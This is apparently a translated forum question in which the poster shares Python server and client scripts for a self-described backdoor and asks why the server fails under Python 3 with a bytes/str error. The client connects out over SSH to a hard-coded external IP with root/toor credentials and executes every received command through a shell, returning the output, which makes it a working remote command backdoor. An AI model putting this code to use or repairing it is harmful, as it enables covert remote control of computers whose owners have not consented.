我发现了一些用python2.7编写的代码,我决定用一些更改来编写代码,因此它将运行python3.1,代码用于后门我想安装在家用电脑上以获得乐趣。不幸的是,当我试图向客户端计算机发送命令时,我遇到了一个错误“无法连接字节到str”,我认为这与python2.7到python3.1的更改有关,对不起如果我不清楚我试图我尽力解释。
这是服务器脚本:
import sys
import threading
import paramiko
import socket
host_key=paramiko.RSAKey(filename='/home/jack/.ssh/id_rsa')
class Server(paramiko.ServerInterface):
def __init__(self):
self.event=threading.Event()
def check_channel_request(self,kind,chanid):
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self,username,password):
if (username=='root') and (password=='toor'):
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
try:
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1)
sock.bind(('192.168.1.7', 1258))
sock.listen(100)
print('[+] Listening for connection....')
client, addr=sock.accept()
except Exception as e:
print('[-] Listen/bind/accept failed')
sys.exit(1)
print('[+] Connection Initiated')
try:
transport=paramiko.Transport(client)
try:
transport.load_server_moduli()
except:
print('[-] Failed to load moduli -- gex will be unsupported')
raise
transport.add_server_key(host_key)
server=Server()
try:
transport.start_server(server=server)
except:
paramiko.SSHException()
print('[-] SSH negotiation failed')
chan=transport.accept(20)
print('[+] Authentication Completed')
print(chan.recv(1024))
chan.send("Connection established")
while True:
command=input('Enter Command=>').strip('\n')
chan.send(command)
print(chan.recv(1024)+'\n')
except Exception as e:
print('[-] Exception'+': ' + str(e))
try:
transport.close()
except:
pass
sys.exit(1)
我也会发布客户端,以防有人想看,但错误来自服务器脚本
import paramiko
import threading
import subprocess
client=paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('173.210.89.47',port=1258, username='root',password='toor')
chan = client.get_transport().open_session()
chan.send('Client connection established')
print (chan.recv(1024))
while True:
command=chan.recv(1024)
try:
CMD=subprocess.check_output(command, shell=True)
chan.send(CMD)
except Exception as e:
chan.send(str(e))
client.close
所以,如果有人能帮我解决这个问题,那就太棒了,谢谢你们。